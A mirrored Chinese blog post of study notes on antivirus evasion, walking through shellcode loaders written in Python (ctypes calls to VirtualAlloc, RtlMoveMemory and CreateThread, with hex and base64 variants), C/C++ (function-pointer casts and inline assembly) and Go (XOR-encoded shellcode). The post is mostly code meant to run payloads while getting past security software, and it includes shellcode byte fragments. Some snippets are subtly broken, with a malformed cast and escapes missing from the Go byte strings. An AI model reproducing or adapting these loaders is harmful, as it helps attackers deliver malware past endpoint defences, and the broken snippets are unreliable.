4

免杀学习--shellcode加载免杀

 2 years ago
source link: https://shu1l.github.io/2021/08/17/mian-sha-xue-xi-shellcode-jia-zai-mian-sha/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

​ 这段时间测试了不少免杀的手法,但是对一些加载器的实现原理还没有完全理清,所以本文主要是学习总结原理和姿势,不测试实际免杀效果。

​ 目前来看分离免杀仍然是主流的一种免杀方式,我们可以将shellcode比作子弹,那么枪也就是我们所说的加载器。在这种情况下对于杀软来说,单纯的枪或者说子弹,都有可能绕过杀软。

python加载器

核心代码:

#!/usr/bin/python
import ctypes

shellcode = bytearray("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b")

#通过调用VirtualAlloc函数,申请一块动态内存区域
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),#要分配的内存区域的地址
ctypes.c_int(len(shellcode)), #分配的大小
ctypes.c_int(0x3000), #分配的类型
ctypes.c_int(0x40)) #该内存的初始保护属性

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

#调用RtlMoveMemory函数,函数从我们指定的内存复制内容到另一内存
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))

#调用CreateThread将在主线程的基础上创建一个新线程
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))

#调用WaitForSingleObject函数等待创建的线程运行结束。
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

代码不是很长,可以看到主要调用的就是ctypes这个库。

ctypes 是 Python 的外部函数库。它提供了与 C 兼容的数据类型,并允许调用 DLL 或共享库中的函数。可使用该模块以纯 Python 形式对这些库进行封装。
  • 调用VirtualAlloc函数,来申请一块可读可写可执行的动态内存区域。
  • 调用RtlMoveMemory函数,此函数从指定内存中复制内容至另一内存里。
  • 调用CreateThread函数,在主线程的基础上创建一个新线程。
  • 调用WaitForSingleObject函数,等待创建的线程运行结束。

当然目前来说这种比较原始的方式杀软已经杀很严了,所以之后更多要有混淆加密的操作

常见的有Hex加密、AES加密、XOR加密、base64等等,或者可以自己写加密和解密,免杀效果会更好

HEX加密

#scrun by k8gege
import ctypes
import sys

#sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE81485213884926AA0AEFD4AD1631EB69808D54C1BD927AC2A25EB9383A8F5D42353802E50EE93F42B3411E98BBF81C92A13579920D813C524DFF07D5054F751D12EDC75BAF57D2F665B812FCE04273BFC5151666AA7D31CD3A7EB1E73C0DA951C97E27F5967A922CBE074B74E6D876D8C8804846C6F14ED692B921D03247722B045524157D63EA8F25EA4B4"
shellcode=bytearray(sys.argv[1].decode("hex"))

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

base64加密

#scrun by k8gege
import ctypes
import sys
import base64

#REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA==
shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

C++加载器

对于C/C++来说,常用的加载方式有函数指针执行、内联汇编指令、伪指令等方式.

函数指针执行

简单的C代码:

char shellcode[] = "";

int main(int argc, char const *argv[]) {
(*(void(*)() shellcode)();
return 0;
}

(void(*)() shellcode 将shellcode转换为函数指针,指向void形式的函数,然后再通过一个*对指针进行取值,之后通过()双括号调用函数进而执行shell从而执行shellocde。

动态内存加载

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

unsigned char buf[] =
"shellcode";

main()
{
char *Memory;

Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);

memcpy(Memory, buf, sizeof(buf));

((void(*)())Memory)();
}

原理和上面python实现类似。

内联汇编指令

汇编指令相关的知识可以看这里:

免杀、汇编指令大全_K的专栏-程序员宅基地 - 程序员宅基地 (cxyzjd.com)

include <stdio.h>
#include <windows.h>

//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") // 隐藏控制台窗口显示
#pragma comment(linker,"/INCREMENTAL:NO") // 减小编译体积
#pragma comment(linker, "/section:.data,RWE") // 启用数据段可读写

unsigned char shellcode[] =
"\xd9\xc5\xd9\x74\x24\xf4\xba\x8b\xfc\x02\xdd\x5e\x2b\xc9\xb1"
"\x56\x83\xee\xfc\x31\x56\x14\x03\x56\x9f\x1e\xf7\x21\x77\x5c"
"\xf8\xd9\x87\x01\x70\x3c\xb6\x01\xe6\x34\xe8\xb1\x6c\x18\x04"
"\x39\x20\x89\x9f\x4f\xed\xbe\x28\xe5\xcb\xf1\xa9\x56\x2f\x93"
"\xca\xec\x3f\xcd\x34\xa2\x40\xc4";

int main(int argc, char **argv)
{
__asm
{
mov eax, offset shellcode;
JMP EAX
}
return 0;
}

其他的写法:

void RunShellCode()  
{
__asm
{
lea eax, shellcode;
jmp eax;
}
}

MOV EAX, offset shellcode
此指令意为将 shellcode 放入到寄存器 EAX 中

JMP EAX
无条件跳转到EAX

​ 伪指令(Pseudo Instruction)是用于对汇编过程进行控制的指令,该类指令并不是可执行指令,没有机器代码,只用于汇编过程中为汇编程序提供汇编信息。 例如,提供如下信息:哪些是指令、哪些是数据及数据的字长、程序的起始地址和结束地址等。

void RunShellCode_5()  
{
__asm
{
mov eax, offset shellcode;
_emit 0xFF;
_emit 0xE0;
}
}

go加载器

动态内存加载

核心代码如下:

package main

import (
"syscall"
"unsafe"
)

const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
)

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main() {
xor_shellcode := []byte{0x89, 0x3d, 0xf6, 0x91, 0x85, 0x9d, 0xb9, 0x75, 0x75, 0x75, 0x34, 0x24, 0x34, 0x25, 0x27, 0x24, 0x23, 0x3d, 0x44, 0xa7, 0x10, 0x3d, 0xfe, 0x27, 0x15, 0x3d, 0xfe...}

addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}

其实原理与上面python或者C/C++类似。

通过声明匿名函数,然后指向读入的ShellCode字节数据的那片内存,并将内存设置为可读可写可执行,之后调用函数就将ShellCode运行起来了。

内联C加载

核心代码如下:

package main

import "C"
import "unsafe"

func main() {
buf := ""
buf += "xddxc6xd9x74x24xf4x5fx33xc9xb8xb3x5ex2c"
...省略...
buf += "xc9xb1x97x31x47x1ax03x47x1ax83xc7x04xe2"
// at your call site, you can send the shellcode directly to the C
// function by converting it to a pointer of the correct type.
shellcode := []byte(buf)
C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
}

​ shellcode既然是一段二进制代码,那加载器的功能其实就是想办法将二进制写到内存中,并将这段内存设置为可执行。在这个过程中,为了逃避杀软,所以要更多采用加密混淆等操作。


Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK